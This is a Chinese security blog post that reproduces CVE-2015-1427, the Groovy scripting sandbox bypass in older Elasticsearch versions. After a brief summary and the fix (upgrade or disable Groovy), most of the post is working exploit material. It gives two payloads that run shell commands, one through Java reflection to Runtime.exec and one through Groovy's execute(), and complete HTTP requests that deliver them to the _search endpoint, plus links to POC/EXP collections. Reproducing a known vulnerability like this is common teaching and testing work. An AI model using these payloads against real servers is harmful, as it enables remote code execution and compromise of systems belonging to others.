美文网首页MYD网络安全实验室
ElasticSearch Groovy 沙盒绕过 && 代码执

ElasticSearch Groovy 沙盒绕过 && 代码执

作者: 有一个男孩叫阿威 | 来源:发表于2023-12-22 10:08 被阅读0次

    漏洞编号:CVE-2015-1427

    漏洞详情

    CVE编号 CVE-2015-1427 漏洞级别 高危7.5
    标题 Elasticsearch Groovy 脚本引擎存在远程代码执行漏洞 披露时间 2015/02/17
    漏洞总结 Elasticsearch在版本1.3.8之前及版本1.4.x在1.4.3之前的Groovy脚本引擎存在漏洞,远程攻击者可通过精心构造的脚本绕过沙箱保护机制并执行任意shell命令。
    利用路径 NETWORK 利用难度 容易10
    影响产品 elasticsearch
    解决方案 升级到Elasticsearch版本1.3.8或1.4.3以上,或禁用Groovy插件。

    漏洞复现

    两种执行命令的方法:

    1、利用java反射绕过沙盒

    java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
    
    

    2、Goovy直接执行命令

    def command='id';def res=command.execute().text;res
    
    

    添加一条数据

    POST /test/test/ HTTP/1.1
    Host: ip:端口
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Content-Length: 24
    
    {
      "name": "test"
    }
    
    

    执行命令

    第一种方法:

    POST /_search?pretty HTTP/1.1
    Host: ip:端口
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"id\\").getText()"}}}
    
    

    第二种方法:

    POST /_search?pretty HTTP/1.1
    Host: ip:端口
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: close
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}
    
    

    POC&EXP

    github:POC-EXP/ElasticSearch Groovy 沙盒绕过 at main · twsec-pro/POC-EXP (github.com)

    yakit:86556f00-6ebb-4422-804c-6f58cb9b9f79

    2.gif

    相关文章

      网友评论

        本文标题:ElasticSearch Groovy 沙盒绕过 && 代码执

        本文链接:https://www.haomeiwen.com/subject/watxndtx.html